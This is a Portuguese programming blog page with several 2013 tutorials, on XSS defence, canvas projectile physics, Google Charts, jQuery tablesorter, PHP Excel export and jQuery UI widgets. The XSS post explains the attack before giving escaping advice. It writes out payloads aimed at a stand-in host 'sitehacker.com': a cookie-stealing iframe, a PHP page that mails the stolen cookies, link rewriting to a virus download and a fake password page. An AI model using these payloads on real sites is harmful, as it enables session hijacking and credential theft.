Páginas

segunda-feira, 15 de julho de 2013

Proteja seu sistema contra: Ataques XSS




No artigo anterior dessa série abordamos o ataque de quebra de senhas por força bruta, e como podemos defender nossos sistemas contra esse ataque. Agora iremos considerar o ataque XSS.

Ataques XSS são comuns pois nem sempre é fácil detectar brechas nos sistemas que viabilizam esse ataque. Um exemplo de como esse ataque pode ser perigoso e afetar sites importantes, foi o caso envolvendo o Bradesco, em 2008.

Esse ataque consiste em se executar código malicioso (geralmente HTML, CSS e Javascript) sem o conhecimento do usuário do site. Vamos ver alguns exemplos desse ataque.

Inserção de código malicioso em campos tipo texto de formulários

Imagine uma aplicação onde se permita ao usuário fazer comentários, como em um fórum. Na página de novo comentário, o usuário hacker poderia inserir código malicioso no campo do comentário e então submeter ao servidor. Por exemplo, ele poderia inserir no comentário:

'Olá, parabéns pelo artigo.<script src='http://sitehacker.com/script_malicioso.js'></script>'

Então, toda vez que o comentário dele for exibido o script malicioso será executado sem o conhecimento do internauta que visualiza os comentários. 

Ataques via querystrings

Vamos imaginar um site que possua um campo busca na querystring, como a url a seguir:

http://exemplo.com/search.php?q=Um texto qualquer

Uma vez acessada essa url, a página retorna com o resultado: Sua busca por 'Um texto qualquer' não retornou nenhum resultado

O hacker poderia então montar a url maliciosa, como a seguir:

http://exemplo.com/search.php?q=<script src='http://sitehacker.com/script_malicioso.js'></script>

E o site retornaria: Sua busca por ' ' não retornou nenhum resultado.

Porém o código malicioso seria executado. O hacker então poderia pegar essa url modificada com código malicioso e envia-la por email para laranjas (pessoas que executariam o código malicioso sem conhecimento).

Exemplos de scripts maliciosos

Nos dois métodos acima (via formulário ou via querystring) o hacker poderia fazer o internauta executar o script_malicioso.js sem o seu conhecimento. Mas que código poderia ter esse script malicioso? Vamos ver 3 exemplos:

1- Acesso a cookies

O hacker poderia criar a página 'mail.php' em seu servidor:

<?php
if ($_GET['xss']) {
   mail('hacker@email.com','Cookies capturados', $_GET['xss']);
}
?>

Então o script_malicioso.js poderia ter o código:

document.write('<iframe width=1 height=1 src=http://sitehacker.com/mail.php?xss='+document.cookie+'></iframe>')

Isso faz com que o internauta, ao executar o script_malicioso.js sem saber, envie para a página http://sitehacker.com/mail.php os cookeis que ele tem armazenado em seu browser. A página mail.php por sua vez envia esse conteudo diretamente para o email do hacker. Se o cookie enviado for o identificador de sessão, tal como o PHPSESSID ou JSESSIONID, o hacker pode fazer o sequestro de sessão e utilizar o sistema como se fosse o internauta prejudicado.

2- Adulteração do site alvo

Outro exemplo de conteúdo de script_malicioso.js poderia ser:

window.onload = function() {
     var AllLinks=document.getElementsByTagName("a");
     AllLinks[0].href = "http://sitehacker.com/baixar_virus.exe";
 }

Esse script altera o atributo href do link para que ele acesse baixe o virus que o hacker preparou.

3- Obter a senha do usuário

Nesse exemplo, o hacker utiliza engenharia social. Ele poderia criar o seguinte código em script_malicioso.js:

window.open("http://sitehacker.com/nova_senha.php");

Isso faz com que seja aberta uma nova janela no navegador com a página nova_senha.php.

Então o hacker poderia criar em seu servidor a página nova_senha.php que simulasse o layout do site alvo, solicitando o internauta a modificar a sua senha por medida de segurança. Para isso a página maliciosa solicita a senha atual. De posse da senha atual, a página poderia envia-la para o email do hacker.

Como proteger seu sistema contra esse ataque?

Basicamente, o ataque XSS consiste em explorar brechas nos sistema que permitem envio de código malicioso, então precisamos identificar essas brechas e fecha-las.

O sistema não deve permitir que o texto contendo conteúdo malicioso do usuário seja executado. Para isso deve-se eliminar as tags nos comentarios enviados. Devemos tratar todas as variáveis recebidas pelo usuário. O PHP tem alguns métodos que nos ajudam nesse ponto, um deles é o html_entities(). Ele faz a conversão dos caracteres especiais do HTML, impossibilitando sua execução. Por exemplo, ele converte

<script src='http://sitehacker.com/script_malicioso.js'>

 para 

&lt;script src='http://sitehacker.com/script_malicioso.js'&gt;

impossibilitando assim sua execução.

Bibliotecas para o Java também possuem essa função, tal como o método 'escapeHtml' da classe org.apache.commons.lang.StringEscapeUtils.

Assim, para cada entrada do usuário, o sistema deverá eliminar possíveis tags ocultas que poderiam causar um ataque XSS.

atenciosamente,
Gustavo Marques

segunda-feira, 3 de junho de 2013

Trigonometria em Ambientes Virtuais

O uso de trigonometria em ambientes virtuais nos permite simular as forças da física com realismo. Vamos tratar nesse post do lançamento obliquo. Para saber o que é isso preparei logo abaixo um jogo que demonstra. Mude a força do lançamento e seu ângulo para obter diferentes resultados. esse jogo leva em conta uma força constante de gravidade atuando sobre y. Não considero uma força de resistência em x, como a resistência do ar no mundo real.

Lançamento de Projétil

Força: 50
Ângulo: 45°



Seu navegador não suporta HTML5!


O conceito é similar ao do jogo Angry Birds, amplamente conhecido. Alterações no ângulo e força alteram a altura máxima alcançada, o tempo da trajetória e o alcance. Para definir tudo isso esse jogo só precisa de 2 parâmetros: a força empregada no lançamento e o ângulo. Porém para representar graficamente um objeto em movimento nós precisamos, em um instante do tempo por todo o percurso, saber suas coordenadas em relação ao eixo x e y do plano cartesiano. Como extrair a coordenada (x,y) se temos somente a força e o ângulo? É aí que entra a trigonometria!

Vamos ver o gráfico para analisar as informações que temos no momento inicial do lançamento:



Se o usuário setou uma força de 50 e angulo de 45 graus, temos a figura acima. A ponta da seta representa onde o objeto deverá estar no final do primeiro período de tempo. Porém, essa localização representa um valor no eixo x e no eixo y, como mostra a figura abaixo:



Como achar essa posição (x,y)? Analise bem essa gravura. Ela te lembra alguma coisa? Triângulo retângulo! Veja abaixo:



Todo triângulo retângulo tem um ângulo reto de 90 graus, uma hipotenusa (o maior lado) e dois catetos: adjacente (o lado colado ao angulo de referência (45 graus)) e o oposto (o lado oposto a esse ângulo de 45 graus). Se acharmos as medidas desses catetos, temos então a localização x,y do objeto daquele instante no tempo. Como determinar as medidas dos catetos? Vamos utilizar as clássicas relações trigonométricas: 

O seno de um ângulo é igual ao cateto oposto a esse ângulo dividido pela hipotenusa. Conforme abaixo:



Já o cosseno de um ângulo é igual ao cateto adjacente a esse ângulo dividido pela hipotenusa. Conforme abaixo:



Assim, substituindo os valores, poderemos achar a força em y conforme abaixo:



Utilize uma calculadora científica para achar o seno de 45. Achamos a força atuante no eixo y! Agora para achar a força atuante em x, vamos utilizar a fórmula abaixo:



Pronto, temos agora a força atuante em x. Para achar as coordenadas devemos ter em mente que o movimento em x é um simples M.R.U. (Movimento Retilínio Uniforme). Isso quer dizer que a velocidade do deslocamento em x (da esquerda para a direita) não se altera pois nesse eixo não temos nenhuma resistência ao projétil lançado (não temos o ar nem empurrando ou criando resistência). Assim basta somar a força ao ponto original de x e multiplicar pelo tempo decorrido que teremos essa coordenada. Logo, se x começou no ponto 0 do plano cartesiano, x agora vale 35,3 após o primeiro período de tempo decorrido. Então a fórmula é essa: 

X = (Pos.emX.Original) + (Força.emX) x (Tempo.decorrido)

Substituindo os valores temos:

X = 0 + 35,3 x 1 = 35,3 (no primeiro período de tempo o projétil andou 35,3 em x)

X = 0 + 35,3 x 2 = 70,6 (no segundo período de tempo o projétil andou 70,6 em x)

X = 0 + 35,3 x 3 = 100,9 (no terceiro período de tempo o projétil andou 100,9 em x)

Ou seja, no terceiro período de tempo a coordenada em x terá se deslocado 100,9 em relação ao ponto original, e isso em uma velocidade constante.

Já para achar o ponto em Y é um pouco mais complicado, pois agora temos a força da gravidade atuando. O movimento em Y é um M.R.U.V. (Movimento Retilínio Uniforme Variado). É variado por que a velocidade varia ao longo do tempo. Ela vai desacelerando a medida que chega no ponto mais alto e acelera até o chão, tudo devido a força constante da gravidade. Assim no próximo instante de tempo a força no eixo y sofrerá alteração. Veja o gráfico abaixo:



Para calcular o ponto em y num determiado período do tempo a partir dessa força vamos usar a fórmula:

Y = (Pos.emY.Original) - (Força.emY) x (Tempo.decorrido) + (Força.Gravidade) x (Tempo.decorrido²)/2

Substituindo os valores temos (supondo uma força 10 na gravidade):

Y = 0 - 35,3 x 1 + 10 x 1²/2 = -30,3  (no primeiro período de tempo o projétil andou 30,3 em y. Observe que andou menos que x nesse mesmo período por causa da gravidade. O valor está negativo por que no plano cartesiano computacional, quanto menor o valor de Y mais alto o projétil vai. Isso se da porque as coordenadas 0,0 estão no canto superior esquerdo do monitor)

Y = 0 - 35,3 x 2 + 10 x 2²/2 = -50,6  (no segundo período de tempo o projétil andou 50,6 em y. Observe que andou menos que x nesse mesmo período por causa da gravidade)

Y = 0 - 35,3 x 3 + 10 x 3²/2 = -60,9  (no segundo período de tempo o projétil andou 60,9 em y. Observe que andou menos que x nesse mesmo período por causa da gravidade)

Comparando os valores tanto no eixo x como em y os três períodos de tempo chegamos a conclusão:

         

Perceba que enquanto no eixo X o projétil se move a uma velocidade constante, no eixo Y ele sofre desaceleração devido a gravidade. Em determinado momento a força da gravidade terá anulado totalmente a força em Y, fazendo com que o projétil comece a descer ao invés de subir.

Dessa forma, podemos simular o lançamento oblíquo com a ajuda da trigonometria algumas contas.

Segue o código do game no início:

<center>
        <h1>Lançamento de Projétil</h1>
        <script>
            
            //força e angulo do lançamento definido pelo usuario atraves do slider
            var xo = 50;
            var yo = 265;
            var forca = 50;            
            var forca_gravidade = 10;
            var t = 0;
            var dt = 0.2;
            var angulo = 45;
            var lancou = false;
            
        </script>
        <table>
            <tr>
                <td>
                    Força: <span id="forca_label">50</span><br/>
                    <div id="slider_forca" style="width: 100px;"></div>
                    <script>
                        $('#slider_forca').slider({min:10,max:100, value:50, slide:function(event, ui){  forca = parseInt(ui.value); $('#forca_label').html(ui.value); }} );
                    </script>
                </td>
                <td>
                    Ângulo: <span id="angulo_label">45°</span><br/>
                    <div id="slider_angulo" style="width: 100px;"></div>
                    <script>
                        $('#slider_angulo').slider({min:1,max:90, value:45, slide:function(event, ui){  angulo = parseInt(ui.value); $('#angulo_label').html(ui.value+'°'); }} );
                    </script>
                </td>
                <td>
                    &nbsp;<br/>
                    <input type="button" value="Lançar" onclick="lancou = true;"/>
                </td>
            </tr>
        </table>

        <br/>
        <br/>
        <canvas id="game_lancamento" width="416" height="302" style="border: 1px solid #000000;">
            <p>Seu navegador não suporta HTML5!</p>
        </canvas>
        <script >
            // cria o contexto grafico no canvas
            var drawingCanvas = document.getElementById('game_lancamento');
            var ctx = drawingCanvas.getContext('2d');

            var framecount = 0;


            // carrega imagens

            var bgReady1 = false;
            var bgImage1 = new Image();
            bgImage1.onload = function () {
                bgReady1 = true;
            };

            bgImage1.src = 'campo_1.png';

            var bgReady2 = false;
            var bgImage2 = new Image();
            bgImage2.onload = function () {
                bgReady2 = true;
            };

            bgImage2.src = 'campo_2.png';

            var bolaReady = false;
            var bolabg = new Image();
            bolabg.onload = function () {
                bolaReady = true;
            };

            bolabg.src = 'bola_golf.png';

            //objetos do jogo
            var bola = {    
                x:50,
                y:265,
                w:30,
                h:30    
            };




            // frame update
            var update_lancamento = function(modifier){
                if(lancou && bola.y <= 265){
                    var rad= parseInt(angulo) * Math.PI / 180;
                    var vxo = forca * Math.cos(rad);
                    var vyo = forca * Math.sin(rad);
        
                    bola.x = xo + vxo * t;
                    bola.y = yo - vyo * t + forca_gravidade * Math.pow(t,2)/2;
                    t = t + dt;
                
                }else if(lancou){
                    // bola já tocou o chão
                    lancou = false;
                    bola.x = 50;
                    bola.y = 265;
                    t = 0;
        
                }
    
            }

            //render game
            var render_lancamento = function(){
                //clear no canvas
    
  
                if (bgReady1 && bgReady2) {
                    ctx.beginPath()
                    if(lancou){
                        ctx.drawImage(bgImage2, 0, 0);
                    }else{            
                        ctx.drawImage(bgImage1, 0, 0);   
                        //desenha atrajetoria da bola conforme o angulo e força
                        ctx.fillStyle = 'rgb(255, 255, 255)';
                        ctx.strokeStyle = 'rgb(255, 255, 255)';
                        ctx.moveTo(bola.x+14, bola.y+14);
                        var rad= parseInt(angulo) * Math.PI / 180;
                        var vxo = forca * Math.cos(rad);
                        var vyo = forca * Math.sin(rad);
                        ctx.lineTo(bola.x+vxo+14,bola.y-vyo+14);
                        ctx.arc(bola.x+vxo+14, bola.y-vyo+14, 5, 0, Math.PI*2, true);
                        ctx.stroke();
                        ctx.fill();
            
                    }
                    ctx.closePath()
                }
                if (bolaReady) {
                    ctx.drawImage(bolabg, bola.x, bola.y);
                }
            }

            //função que irá controlar o game loop
            var main_lancamento = function () {
                var now = Date.now();
                var delta = now - then;
                update_lancamento(delta / 1000);
                render_lancamento();
                then = now;
            };

            //iniciando o game
            var then = Date.now();
            setInterval(main_lancamento, 70);
        </script>  
    </center>

Não esqueça de importar no <head> o jquery e o jquery ui

<head>
        <title>Jogo</title>
        <link href='http://code.jquery.com/ui/1.9.2/themes/redmond/jquery-ui.css' rel='stylesheet'/>
        <script src="http://code.jquery.com/jquery-1.9.1.js" type="text/javascript"></script>
        <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js" type="text/javascript"></script>
    </head>

Atenciosamente,
Gustavo Marques






quinta-feira, 28 de fevereiro de 2013

Gráficos dinâmicos com Google Charts


O Google possui um serviço muito interessante de geração de charts a partir de URLs. Vamos analisar esse serviço, os parâmetros necessários e os tipos de gráficos que ele disponibiliza.


Veja a imagem acima. Esse gráfico é gerado em tempo real ao acessar a url:
https://chart.googleapis.com/chart?cht=p&chs=500x250&chd=t:60,30,10&chl=PHP|JAVA|ASP

O Google interpreta esses parâmetros contidos na url para renderizar o gráfico desejado. Vamos analisar os parâmetros:

Parâmetro cht: Refere-se ao tipo do chart a ser gerado. No exemplo acima eu usei o 'p' de pizza. Outros tipos são os abaixo:

cht=p3: Pizza 3d


cht=bvs: Barras Verticais

                                                                   

cht=gom: Velocímetro


cht=lc: Linha


cht=r: Radar

                                       

cht=rs: Radar com linhas curvas

                                     
cht=v: Círculos


Parâmetro chs: Refere-se ao tamanho do gráfico em duas dimensões (chs=LARGURAxALTURA) Ex. chs=500X250

Parâmetro chd: Aqui teremos os valores do chart. Na url está definido assim: chd=t:60,30,10. Isso quer dizer que o primeiro elemento tem valor 60, o segundo 30 e o terceiro 10.

Parâmetro chl: Trata-se do label dos valores definidos no parâmetro anterior, separados por '|'. Na url está definido assim: chl=PHP|JAVA|ASP. Perceba que devem vir na ordem do parâmetro anterior, ou seja, nesse caso PHP terá valor 60 (pois ambos estão na primeira posição), JAVA tem valor 30 (segunda posição) e ASP valor 10 (terceira posição).

É claro que, visto se tratar de uma URL, podemos modificar esses valores e labels em tempo de execução via programação colocando, por exemplo, dados diretamente do banco de dados. Assim teremos uma forma fácil e prática de implantar rapidamente gráficos em nossos sistemas.

Vários sites importantes usam esse serviço, por exemplo o Baixaki. Veja abaixo:


Acesse o baixaki e selecione algum programa para baixar, clique com o botão direito do mouse em cima do gráfico para extrair a URL da imagem e verá que o baixaki usa o serviço do google charts.

Fica a dica.

Atenciosamente,
Gustavo Marques

terça-feira, 26 de fevereiro de 2013

Ordenar HTML table com javascript



Ordenar uma tabela da maneira tradicional (com order by na consulta no banco de dados) pode dar bastante trabalho. Precisamos receber a entrada do usuário sobre qual coluna ordenar e então usar essa coluna na cláusula order by. Além de trabalhoso isso exige várias idas ao banco, prejudicando a performance de todo o sistema. Um modo bem mais simples de se ordenar uma tabela é ordenar o <table> diretamente no HTML. Ao clicar no cabeçalho de cada coluna, a tabela inteira é ordenada por ela. Se clicar novamente na mesa coluna, então a ordem é invertida.


Faça o teste na tabela abaixo (clique nos nomes das colunas para ordenar):

id Nome Email Sexo
1 Gustavo programador.gustavo@gmail.com Masculino
2 Adriane adri@gmail.com Feminino
3 Bruno bruno@yahoo.com Masculino



Para fazer essa ordenação diretamente no HTML precisaremos de um plugin do JQuery: tablesorter.

Vamos ver como implementar. Veja o código:

<html>
    <head>
        <title>Teste</title>

       <!--Importa as bibliotecas necessárias-->
        <script src="http://code.jquery.com/jquery-1.8.3.js"></script>
        <script src="http://tablesorter.com/__jquery.tablesorter.min.js" type="text/javascript"></script> 

<style>
th{
cursor:pointer;
}
</style>

    </head>
    <body>
        <table  id="myTable" >
            <thead>
                <tr>                    
                    <th>id</th>
                    <th>Nome</th>
                    <th>Email</th>
                    <th>Sexo</th>
                </tr>
            </thead>
            <tbody>
                <tr>
                    <td>1</td>
                    <td>Gustavo</td>
                    <td>programador.gustavo@gmail.com</td>
                    <td>Masculino</td>
                </tr>
                <tr>
                    <td>2</td>
                    <td>Adriane</td>
                    <td>adri@gmail.com</td>
                    <td>Feminino</td>
                </tr>
                <tr>
                    <td>3</td>
                    <td>Bruno</td>
                    <td>bruno@yahoo.com</td>
                    <td>Masculino</td>
                </tr>
            </tbody>
        </table>
        
        <script>
            $(document).ready(function() 
            { 
                $("#myTable").tablesorter(); 
            } 
        ); 
        </script>
    </body>
</html>


Para que a ordenação ocorra, a tabela precisa ter as tags <thead> e <tbody> para orientar o script. O trabalho grosso o script já faz, agora podemos pesquisar os temas disponibilizados no site para melhorar a aparência da tabela, ou estilizar nós mesmos.

atenciosamente,
Gustavo Marques

segunda-feira, 25 de fevereiro de 2013

Exportando planilhas para Excel com PHP



Existem vários motivos para querermos exportar nossas listagens online para excel. Um deles é que, uma vez que os dados são carregados no excel ou libreoffice, podemos utilizar excelentes ferramentas desses programas tais como os poderosos filtros deles. Esses programas também permitem formatação na aparência do documento e, finalmente, os usuários estão acostumados com eles.


É bem simples a geração da planilhas com PHP. O segredo está na definição correta dos headers e em tratar a planilha como um <table> do HTML.

Vamos ver um exemplo:

<?php
//Informa ao browser que o tipo de documento será uma planilha do excel
header('Content-type: application/vnd.ms-excel');

//Força o download da planilha, o nome do arquivo será planilha.xls
header('Content-Disposition: attachment; filename="planilha.xls"');

//Monta a planilha
echo '<table>';

//cabeçalho
echo '<tr>';
echo '<td>Nome</td>';
echo '<td>Email</td>';
echo '<td>Sexo</td>';
echo '</tr>';

//conteudo

echo '<tr>';
echo '<td>Gustavo Marques</td>';
echo '<td>programador.gustavo@gmail.com</td>';
echo '<td>Masculino</td>';
echo '</tr>';

echo '<tr>';
echo '<td>Fernanda</td>';
echo '<td>fe@gmail.com</td>';
echo '<td>Faminino</td>';
echo '</tr>';

echo '<tr>';
echo '<td>Henrrique</td>';
echo '<td>h@gmail.com</td>';
echo '<td>Masculino</td>';
echo '</tr>';

echo '</table>';
?>

Ao acessar esse arquivo PHP o browser irá exibir a caixa de download. Baixe o arquivo e abra no seu programa preferido. Aberto no LibreOffice ele ficou assim:





Atenciosamente,
Gustavo Marques

segunda-feira, 4 de fevereiro de 2013

Layouts para Aplicativos Mobile



Hoje sem dúvida o acesso a internet através de dispositivos móveis, tas como smartphones e tablets, estão em alta. O baixo custo de alguns destes dispositivos possibilita que um público crescente acesse a internet. Naturalmente as empresas devem repensar a apresentação de seus sites para esse meio de acesso. Isso se dá por que a usabilidade de um dispositivo móvel é bem diferente de um computador tradicional.


Em um computador tradicional o espaço na tela fornece liberdade de layout e o poder de processamento possibilita o uso de plugins tais como o flash e o java para maior interatividade. Porém isso não ocorre em um dispositivo móvel, onde além do pequeno espaço de tela, possui recursos limitados. Enquanto num PC o mouse fornece precisão no click, telas touch dos dispositivos móveis precisam de muito mais espaço para os clicks, levando em conta o tamanho da superfície do dedo do usuário.

Assim, ao desenharmos telas das aplicações para mobile, é bom seguirmos alguns padrões de layout e usabilidade. Existem muitos padrões, mas nesse artigo só vou citar 2 deles: Galeria e Menu de Lista.

Padrão Galeria

No padrão Galeria temos os links dispostos em forma de icones grandes. São facilmente visualizados em uma tela pequena, também fornecem precisão no toque do usuário. 

Como deve ser:


Na parte superior, é comum um banner com a marca da empresa e algumas operações globais, tais como a busca.

Exemplos:






Padrão Menu de Lista

Nesse padrão os itens são apresentados em forma de lista. Ele é melhor quando forem muitos ítens. Muitos itens no padrão Galeria talvez exija uma grande quantidade de downloads de imagens dos itens.

Como deve ser:


Ao clicar em um item pode-se exibir um subitem com nova listagem.

Exemplos:









Pode-se perceber claramente que esses padrões são pensados para a facilidade de uso nos dispositivos móveis, onde a facilidade, praticidade e performance são prioridade.

Atenciosamente,
Gustavo Marques

sexta-feira, 11 de janeiro de 2013

Bind entre Formulário HTML e POPO




No artigo anterior expliquei como popular um POJO (plain old java object) automaticamente a partir do request. Nesse artigo explicarei como implementar isso em PHP (POPO = plain old PHP object).


Vamos ver um cenário típico:

Definição da Classe:


<?php
class Pessoa {
   private $id;
   private $nome;
   private $email;
   private $telefone;

   //getters e setters
}
?>

Formulário HTML para cadastro:


<form action="cadastrar.php" method="post">
      Nome: <input type="text" name="nome" /><br/>
      Email: <input type="text" name="email" /><br/>
      Telefone: <input type="text" name="telefone" /><br/>
      
      <input type="submit" value="Cadastrar" />
</form>

Arquivo cadastrar.php

<?php
require_once 'Pessoa.php';
$pessoa = new Pessoa();
$pessoa->setNome($_REQUEST['nome']);
$pessoa->setEmail($_REQUEST['email']);
$pessoa->setTelefone($_REQUEST['telefone']);
//salva a pessoa no DAO
?>

Esse processo não é produtivo e muito entediante, especialmente se possuir muitos campos. Podemos usar um excelente recurso do PHP para automatizar tarefas repetitivas: Reflection.

Vejamos como poderíamos melhorar o processo:

Arquivo cadastrar.php

<?php
//Função que popula um objeto qalquer com dados do request.

public function populateFromRequest($object) {
        $reflectionClass = new ReflectionClass(get_class($object));
        foreach ($_REQUEST as $name => $value) {
            try {
                $typeProperty = $reflectionClass->getProperty($name);
                $typeProperty->setAccessible(true);
                $typeProperty->setValue($object, $value);
            } catch (Exception $exc) {}
        }
    }


require_once 'Pessoa.php';
$pessoa = new Pessoa();
populateFromRequest($pessoa, 'Pessoa');

//salva a pessoa no DAO
?>

A função populateFromRequest procura no objeto as propriedades cujos nomes coincidam com os nomes dos campos guardados no $_REQUEST, quando os nomes batem o valor da propriedade é setada com o valor do campo no $_REQUEST.

Essa função deverá ser isolada pois pode ser usada em outras situações com objetos diferentes.

Atenciosamente,
Gustavo Marques


sexta-feira, 4 de janeiro de 2013

Caixas de Dialogo com Javascript



Quem nunca exibiu uma mensagem em javascript para o usuário com alert('Sucesso'); que jogue a primeira pedra! É rápido e prático, tenho que adimitir. Porém nesse artigo vou apresentar algo melhor: o componente Dialog da biblioteca JQueryUI.


Veja abaixo como funciona:



Bem mais atraente do que a caixa de dialog do alert, que difere entre os browsers.
Essa caixa ainda pode ser arrastada e redimencionada.

Veja como a implementação é fácil:


<html>
<head>       
   <!--IMPORTAÇÕES NECESSÁRIAS-->
    <link rel="stylesheet" href="http://code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css" />
    <script src="http://code.jquery.com/jquery-1.8.3.js"></script>
    <script src="http://code.jquery.com/ui/1.9.2/jquery-ui.js"></script>        
</head>
<body>
<div id="dialog" title="Titulo da Caixa">
    <p>Ut a placerat diam. Suspendisse euismod nulla ac quam tristique eleifend iaculis dolor luctus. Aliquam tristique rhoncus placerat. Ut adipiscing lorem pharetra tortor viverra quis ornare mi pharetra. Maecenas a massa ante, a accumsan leo. Donec ac turpis et arcu tincidunt tincidunt. Etiam sed nunc nulla. Mauris posuere augue sapien.</p>
</div>
<script>
$( "#dialog" ).dialog();
</script>
</body>
</html>

O conteúdo da div com id='dialog' será o conteúdo do dialogo e o atributo title dessa div será o título do diálogo, bem simples. E o grande diferencial em relação ao tradicional alert(), é que podemos inserir HTML livremente dentro do Dialog, tornando assim nossos diálogos mais funcionais e estilizados. No exemplo dessa página eu coloquei um UL com itens LI, mas poderia ser uma imagem ou qualquer outra coisa.

Atenciosamente,
Gustavo Marques

Menus com Javascript

Seguindo com os artigos sobre interface rica para web, vamos analisar agora o componente menu da biblioteca JQueryUI.
Veja abaixo um menu feito (passe o mouse para expandi-lo)





É incrivelmente simples fazer um menu, basta trabalharmos com ULs e LIs aninhadas. Cada LI será um item do menu, quando houver necessidade de um sub menu, basta colocar um UL dentro do LI.

Segue o código:


<html>
<head>       
   <!--IMPORTAÇÕES NECESSÁRIAS-->
    <link rel="stylesheet" href="http://code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css" />
    <script src="http://code.jquery.com/jquery-1.8.3.js"></script>
    <script src="http://code.jquery.com/ui/1.9.2/jquery-ui.js"></script>        
<style>
#menu{
width:200px;
}
#menu ul{
width:200px;
}
</style>
</head>
<body>


<ul id="menu" >
    <li class="ui-state-disabled"><a href="#">Desabilitado</a></li>
    <li><a href="#">Item</a></li>
    <li><a href="#">Item</a></li>
    <li><a href="#">Item</a></li>
    <li>
        <a href="#">Item</a>
        <ul>
            <li><a href="#">Item nivel 2</a></li>
            <li><a href="#">Item nivel 2</a></li>
            <li><a href="#">Item nivel 2</a></li>
        </ul>
    </li>
    <li><a href="#">Item</a></li>
    <li>
        <a href="#">Item</a>
        <ul>
            <li>
                <a href="#">Item nivel 2</a>
                <ul>
                    <li><a href="#">Item nivel 3</a></li>
                    <li><a href="#">Item nivel 3</a></li>
                    <li><a href="#">Item nivel 3</a></li>
                </ul>
            </li>
            <li>
                <a href="#">Item nivel 2</a>
                <ul>
                    <li><a href="#">Item nivel 3</a></li>
                    <li><a href="#">Item nivel 3</a></li>
                    <li><a href="#">Item nivel 3</a></li>
                </ul>
            </li>
            <li><a href="#">Item nivel 2</a></li>
        </ul>
    </li>
    <li class="ui-state-disabled"><a href="#">Desabilitado</a></li>
</ul>
<script>
$( "#menu" ).menu();
</script>

</body>
</html>


Coloque uma largura no menu para ele não ocupar a tela inteira.

Atenciosamente,
Gustavo Marques

Veja também

Related Posts Plugin for WordPress, Blogger...